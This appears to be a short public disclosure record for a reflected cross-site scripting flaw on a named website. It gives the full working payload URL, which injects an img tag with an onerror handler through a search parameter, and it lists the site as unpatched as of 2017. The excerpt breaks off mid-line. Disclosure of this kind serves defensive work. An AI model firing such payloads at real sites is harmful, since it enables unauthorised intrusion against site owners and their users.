kimdaeho.com XSS vulnerability

Vulnerable URL: http://kimdaeho.com/school/allsearch.php?searchword=%22%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E=0=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...